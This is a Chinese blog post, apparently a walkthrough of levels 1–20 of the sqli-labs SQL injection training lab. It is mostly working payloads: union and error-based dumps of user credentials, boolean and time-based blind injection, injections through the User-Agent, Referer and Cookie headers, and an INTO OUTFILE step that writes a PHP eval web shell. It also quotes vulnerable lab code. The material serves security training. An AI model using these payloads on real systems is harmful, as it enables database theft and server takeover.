zoukankan      html  css  js  c++  java
  • sqli-labs之Page-1

    搭建与安装

    参考:https://www.fujieace.com/penetration-test/sqli-labs-ec.html

    下载:sqli-labs下载

    第一关:单引号报错注入

    ?id=-1' union select 1,(select group_concat(username,0x3a,password) from security.users),3--+

    第二关:数值型报错注入

    ?id=100 union select 1,(select group_concat(username,0x3a,password) from security.users),3

    第三关:单引号右括号报错注入

    ?id=-1') union select 1,(select group_concat(username,0x3a,password) from security.users),3--+

    第四关:双引号右括号报错注入

    ?id=-1") union select 1,(select group_concat(username,0x3a,password) from security.users),3--+

    第五关:单引号双查询报错注入

    通过ExtractValue报错,最多输出32位。

    ?id=1' and extractvalue(1, concat(0x23,(select group_concat(username,0x3a,password) from security.users),0x23))--+

    通过updatexml报错,最多输出32位

    ?id=1' and updatexml(1, concat(0x23,(select group_concat(username,0x3a,password) from security.users),0x23),1)--+

    通过floor报错

    ?id=1' and(select 1 from (select count(*),concat(concat((select concat(username,0x7e,password,0x7e)from security.users limit 0,1),0x7e),floor(rand(0)*2))x from information_schema.tables group by x)y)--+

    第六关:就是第五关的单引号变为双引号

    第七关:into outfile来写shell

    ?id=1')) union select null,0x3c3f706870206576616c28245f504f53545b2774657374275d293f3e,null into outfile 'C:\phpStudy\WWW\sqli-labs\Less-7\1.php' --+

    第七关有个问题,要想into outfile能够写入文件,必须在mysql中的my.ini文件中的mysqld下面写入secure_file_priv=

    因为secure_file_priv=NULL时,是无法写入文件的。

    第八关:布尔型单引号盲注

    判断数据库长度

    ?id=1' and (length(database()))=8--+

    猜库名

    ?id=1' and left((select database()),1)='s'--+
    ?id=1' and left((select database()),2)='se'--+
    ?id=1' and left((select database()),3)='sec'--+
    ?id=1' and left((select database()),4)='secu'--+
    ?id=1' and left((select database()),5)='secur'--+
    ?id=1' and left((select database()),6)='securi'--+
    ?id=1' and left((select database()),7)='securit'--+
    ?id=1' and left((select database()),8)='security'--+

    判断第四张表的长度,users长度为5

    ?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) = 5 --+

    猜表名

    ?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 3,1),1) = 'u' --+
    ?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 3,1),2) = 'us'--+
    ?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 3,1),3) = 'use' --+
    ?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 3,1),4) = 'user' --+
    ?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 3,1),5) = 'users' --+

    剩下的类似,只是更换一下payload即可。

    第九关:时间型单引号盲注

    判断数据库长度,长度正确便sleep5秒。

    ?id=1' and if(length(database())=8,sleep(5),1)--+

    猜库名,正确便sleep5秒

    ?id=1' and if(left(database(),8)='security',sleep(5),1)--+

    剩下的同第8关类似。

    第十关:把第九关的单引号改为双引号

    POST型可以用burp进行拦截改包

    第十一关:单引号报错注入

    uname=-admin' union select 1,(select group_concat(username,0x3a,password) from security.users)--+&passwd=admin&submit=Submit

    大致与第一关没什么差别,只是列数只要两列了,用户名和密码都可以进行注入。

    第十二关:双引号右括号报错注入

    uname=-admin") union select 1,(select group_concat(username,0x3a,password) from security.users)--+&passwd=admin&submit=Submit

    第十三关:单引号右括号报错注入,做法同第5关的类似,只是变为POST型而已

    第十四关:双引号报错注入,做法依旧同第5关类似,POST型

    第十五关:布尔型或时间型单引号盲注

    时间延迟型爆数据库长度

    uname=admin' and if(length(database())=8,sleep(5),1)--+&passwd=admin&submit=Submit

    布尔型爆数据库长度

    uname=admin' and (length(database()))=8--+&passwd=admin&submit=Submit

    参考第8,9关即可。

    第十六关:布尔型或时间型双引号盲注

    这一关的名字是说双引号,但是自己在做的时候发现双引号闭合不了,需要双引号加右括号才能闭合,所以我不确定是不是我自己环境的问题。

    做法同十五关一样。

    第十七关:update的注入

    @$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
    
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);
    //echo $row;
        if($row)
        {
            $row1 = $row['username'];      
            //echo 'Your Login name:'. $row1;
            $update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
            mysql_query($update);
              echo "<br>";

    payload:

    uname=admin&passwd=admin' and updatexml(1,concat(0x7e,database(),0x7e),1)--+&submit=Submit

    第十八关:UA的报错注入

    $sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
        $result1 = mysql_query($sql);
        $row1 = mysql_fetch_array($result1);
            if($row1)
                {
                echo '<font color= "#FFFF00" font size = 3 >';
                $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
                mysql_query($insert);

    payload:

    User-Agent: ' and updatexml(1,concat(0x23,(version()),0x23),1) and '

    前后两个单引号不过是为了闭合'$uagent'前后两个引号。

    第十九关:Referer的报错注入

    $sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
        $result1 = mysql_query($sql);
        $row1 = mysql_fetch_array($result1);
            if($row1)
                {
                echo '<font color= "#FFFF00" font size = 3 >';
                $insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
                mysql_query($insert);

    构造payload:

    Referer: ' and updatexml(1,concat(0x23,(database()),0x23),1) and '

    第二十关:cookie的报错注入

    20关在burp中将抓取到的第一个包放掉,第二个包就可以看到cookie了。

    $sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
            $result1 = mysql_query($sql);
            $row1 = mysql_fetch_array($result1);
            $cookee = $row1['username'];
                if($row1)
                    {
                    echo '<font color= "#FFFF00" font size = 3 >';
                    setcookie('uname', $cookee, time()+3600);    
                    header ('Location: index.php');
                    echo "I LOVE YOU COOKIES";
    $cookee = $_COOKIE['uname'];
                $format = 'D d M Y - H:i:s';
                $timestamp = time() + 3600;

    payload:

    Cookie: uname='  union select 1,database(),version()#
  • 相关阅读:
    [LOJ 6436][PKUSC2018] 神仙的游戏
    [BZOJ 2653] middle
    [WC2018] 州区划分
    [BZOJ 4556][Tjoi2016&Heoi2016]字符串
    [BZOJ 3514]Codechef MARCH14 GERALD07加强版 (CHEF AND GRAPH QUERIES)
    [BZOJ 4573][ZJOI 2016]大♂森林
    Problem 2322. -- [BeiJing2011]梦想封印
    [BZOJ 2555] SubString
    [日常] NOIWC2019 冬眠记
    [BZOJ 4036][HAOI2015]按位或
  • 原文地址:https://www.cnblogs.com/-an-/p/12448610.html
Copyright © 2011-2022 走看看